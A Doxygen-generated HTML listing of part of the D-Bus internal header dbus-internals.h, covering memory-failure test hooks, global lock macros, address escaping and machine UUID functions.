<a name="l00257"></a>00257 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> _dbus_decrement_fail_alloc_counter  (<span class="keywordtype">void</span>);
<a name="l00258"></a>00258 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> _dbus_disable_mem_pools             (<span class="keywordtype">void</span>);
<a name="l00259"></a>00259 <span class="keywordtype">int</span>         _dbus_get_malloc_blocks_outstanding (<span class="keywordtype">void</span>);
<a name="l00260"></a>00260 
<a name="l00261"></a>00261 <span class="keyword">typedef</span> <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> (* DBusTestMemoryFunction)  (<span class="keywordtype">void</span> *data);
<a name="l00262"></a>00262 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> _dbus_test_oom_handling (<span class="keyword">const</span> <span class="keywordtype">char</span>             *description,
<a name="l00263"></a>00263                                      DBusTestMemoryFunction  func,
<a name="l00264"></a>00264                                      <span class="keywordtype">void</span>                   *data);
<a name="l00265"></a>00265 <span class="preprocessor">#else</span>
<a name="l00266"></a>00266 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_set_fail_alloc_counter(n)</span>
<a name="l00267"></a>00267 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_get_fail_alloc_counter _DBUS_INT_MAX</span>
<a name="l00268"></a>00268 <span class="preprocessor"></span>
<a name="l00269"></a>00269 <span class="comment">/* These are constant expressions so that blocks</span>
<a name="l00270"></a>00270 <span class="comment"> * they protect should be optimized away</span>
<a name="l00271"></a>00271 <span class="comment"> */</span>
<a name="l00272"></a>00272 <span class="preprocessor">#define _dbus_decrement_fail_alloc_counter() (FALSE)</span>
<a name="l00273"></a>00273 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_disable_mem_pools()            (FALSE)</span>
<a name="l00274"></a>00274 <span class="preprocessor"></span><span class="preprocessor">#define _dbus_get_malloc_blocks_outstanding  (0)</span>
<a name="l00275"></a>00275 <span class="preprocessor"></span><span class="preprocessor">#endif </span><span class="comment">/* !DBUS_BUILD_TESTS */</span>
<a name="l00276"></a>00276 
<a name="l00277"></a>00277 <span class="keyword">typedef</span> void (* DBusShutdownFunction) (<span class="keywordtype">void</span> *data);
<a name="l00278"></a>00278 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> <a class="code" href="group__DBusMemoryInternals.html#g8dc6d5dd0a0e7901ab793da7403ee734">_dbus_register_shutdown_func</a> (DBusShutdownFunction  function,
<a name="l00279"></a>00279                                           <span class="keywordtype">void</span>                 *data);
<a name="l00280"></a>00280 
<a name="l00281"></a>00281 <span class="keyword">extern</span> <span class="keywordtype">int</span> <a class="code" href="group__DBusMemoryInternals.html#g7c224d82013e2bdc181c1d85dcb6f295">_dbus_current_generation</a>;
<a name="l00282"></a>00282 
<a name="l00283"></a>00283 <span class="comment">/* Thread initializers */</span>
<a name="l00284"></a><a class="code" href="group__DBusInternalsUtils.html#gde571435b55fae64217f5142aa78ee8d">00284</a> <span class="preprocessor">#define _DBUS_LOCK_NAME(name)           _dbus_lock_##name</span>
<a name="l00285"></a><a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">00285</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_DECLARE_GLOBAL_LOCK(name) extern DBusMutex  *_dbus_lock_##name</span>
<a name="l00286"></a><a class="code" href="group__DBusInternalsUtils.html#gc8d22e9846ecc2845959082076de899b">00286</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_DEFINE_GLOBAL_LOCK(name)  DBusMutex         *_dbus_lock_##name  </span>
<a name="l00287"></a><a class="code" href="group__DBusInternalsUtils.html#g3b56fdb9df58277ee69d9f56a73bf383">00287</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_LOCK(name)                _dbus_mutex_lock   (_dbus_lock_##name)</span>
<a name="l00288"></a><a class="code" href="group__DBusInternalsUtils.html#g1b7db80a2ea11235768ec8aa698df0a5">00288</a> <span class="preprocessor"></span><span class="preprocessor">#define _DBUS_UNLOCK(name)              _dbus_mutex_unlock (_dbus_lock_##name)</span>
<a name="l00289"></a>00289 <span class="preprocessor"></span>
<a name="l00290"></a>00290 <span class="comment">/* 1-5 */</span>
<a name="l00291"></a>00291 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (list);
<a name="l00292"></a>00292 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (connection_slots);
<a name="l00293"></a>00293 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (pending_call_slots);
<a name="l00294"></a>00294 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (server_slots);
<a name="l00295"></a>00295 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (message_slots);
<a name="l00296"></a>00296 <span class="comment">/* 5-10 */</span>
<a name="l00297"></a>00297 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (atomic);
<a name="l00298"></a>00298 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (bus);
<a name="l00299"></a>00299 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (bus_datas);
<a name="l00300"></a>00300 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (shutdown_funcs);
<a name="l00301"></a>00301 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (system_users);
<a name="l00302"></a>00302 <span class="comment">/* 10-15 */</span>
<a name="l00303"></a>00303 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (message_cache);
<a name="l00304"></a>00304 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (shared_connections);
<a name="l00305"></a>00305 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (win_fds);
<a name="l00306"></a>00306 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (sid_atom_cache);
<a name="l00307"></a>00307 <a class="code" href="group__DBusInternalsUtils.html#ge625b69e69aedb3b30bff23d4edcf690">_DBUS_DECLARE_GLOBAL_LOCK</a> (machine_uuid);
<a name="l00308"></a>00308 <span class="preprocessor">#define _DBUS_N_GLOBAL_LOCKS (15)</span>
<a name="l00309"></a>00309 <span class="preprocessor"></span>
<a name="l00310"></a>00310 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> _dbus_threads_init_debug (<span class="keywordtype">void</span>);
<a name="l00311"></a>00311 
<a name="l00312"></a>00312 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a>   <a class="code" href="group__DBusAddressInternals.html#g1ecc2f460303cd70c34e7667e8b12b37">_dbus_address_append_escaped</a> (<a class="code" href="structDBusString.html">DBusString</a>       *escaped,
<a name="l00313"></a>00313                                             <span class="keyword">const</span> <a class="code" href="structDBusString.html">DBusString</a> *unescaped);
<a name="l00314"></a>00314 
<a name="l00315"></a>00315 <span class="keywordtype">void</span>          <a class="code" href="group__DBusAddressInternals.html#g5b6409826263c7d62570c56889f7ddb2">_dbus_set_bad_address</a>        (<a class="code" href="structDBusError.html">DBusError</a>         *error,
<a name="l00316"></a>00316                                             <span class="keyword">const</span> <span class="keywordtype">char</span>        *address_problem_type,
<a name="l00317"></a>00317                                             <span class="keyword">const</span> <span class="keywordtype">char</span>        *address_problem_field,
<a name="l00318"></a>00318                                             <span class="keyword">const</span> <span class="keywordtype">char</span>        *address_problem_other);
<a name="l00319"></a>00319 
<a name="l00320"></a>00320 <span class="preprocessor">#define DBUS_UUID_LENGTH_BYTES 16</span>
<a name="l00321"></a>00321 <span class="preprocessor"></span><span class="preprocessor">#define DBUS_UUID_LENGTH_WORDS (DBUS_UUID_LENGTH_BYTES / 4)</span>
<a name="l00322"></a>00322 <span class="preprocessor"></span><span class="preprocessor">#define DBUS_UUID_LENGTH_HEX   (DBUS_UUID_LENGTH_BYTES * 2)</span>
<a name="l00323"></a>00323 <span class="preprocessor"></span>
<a name="l00328"></a><a class="code" href="unionDBusGUID.html">00328</a> <span class="keyword">union </span><a class="code" href="unionDBusGUID.html">DBusGUID</a>
<a name="l00329"></a>00329 {
<a name="l00330"></a><a class="code" href="unionDBusGUID.html#3db114d87644fab561564504a8653e72">00330</a>   <a class="code" href="group__DBusTypes.html#gf513803b030613a669cc7ef199f90a8b">dbus_uint32_t</a> <a class="code" href="unionDBusGUID.html#3db114d87644fab561564504a8653e72">as_uint32s</a>[DBUS_UUID_LENGTH_WORDS];     
<a name="l00331"></a><a class="code" href="unionDBusGUID.html#f45818fb0ae65fdece11aba936af7f09">00331</a>   <span class="keywordtype">char</span> <a class="code" href="unionDBusGUID.html#f45818fb0ae65fdece11aba936af7f09">as_bytes</a>[DBUS_UUID_LENGTH_BYTES];                
<a name="l00332"></a>00332 };
<a name="l00333"></a>00333 
<a name="l00334"></a>00334 <span class="keywordtype">void</span>        <a class="code" href="group__DBusInternalsUtils.html#g08c2922335845e5c857e88399436b9ba">_dbus_generate_uuid</a>  (<a class="code" href="unionDBusGUID.html">DBusGUID</a>         *uuid);
<a name="l00335"></a>00335 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> <a class="code" href="group__DBusInternalsUtils.html#gf08364813376bd2d8f455d435d85323e">_dbus_uuid_encode</a>    (<span class="keyword">const</span> <a class="code" href="unionDBusGUID.html">DBusGUID</a>   *uuid,
<a name="l00336"></a>00336                                   <a class="code" href="structDBusString.html">DBusString</a>       *encoded);
<a name="l00337"></a>00337 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> <a class="code" href="group__DBusInternalsUtils.html#g709fd30e6b940a5952af38efaf24ad51">_dbus_read_uuid_file</a> (<span class="keyword">const</span> <a class="code" href="structDBusString.html">DBusString</a> *filename,
<a name="l00338"></a>00338                                   <a class="code" href="unionDBusGUID.html">DBusGUID</a>         *uuid,
<a name="l00339"></a>00339                                   <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a>       create_if_not_found,
<a name="l00340"></a>00340                                   <a class="code" href="structDBusError.html">DBusError</a>        *error);
<a name="l00341"></a>00341 
<a name="l00342"></a>00342 <a class="code" href="group__DBusTypes.html#g39c9cb0f3a2a8ad6f55cc4855d035349">dbus_bool_t</a> <a class="code" href="group__DBusInternalsUtils.html#g49ba67405d677af6cde9329ed87ea91f">_dbus_get_local_machine_uuid_encoded</a> (<a class="code" href="structDBusString.html">DBusString</a> *uuid_str);
<a name="l00343"></a>00343 
<a name="l00344"></a>00344 <a class="code" href="group__DBusMacros.html#ge4a9263a43f8220f6e1c0fd07cf6e59a">DBUS_END_DECLS</a>
<a name="l00345"></a>00345 
<a name="l00346"></a>00346 <span class="preprocessor">#endif </span><span class="comment">/* DBUS_INTERNALS_H */</span>
</pre></div><hr size="1"><address style="align: right;"><small>Generated on Mon Dec 14 22:26:11 2009 for D-Bus by&nbsp;
<a href="http://www.doxygen.org/index.html">
<img src="doxygen.png" alt="doxygen" align="middle" border="0"></a> 1.4.7 </small></address>
</body>
</html>

Anon7 - 2021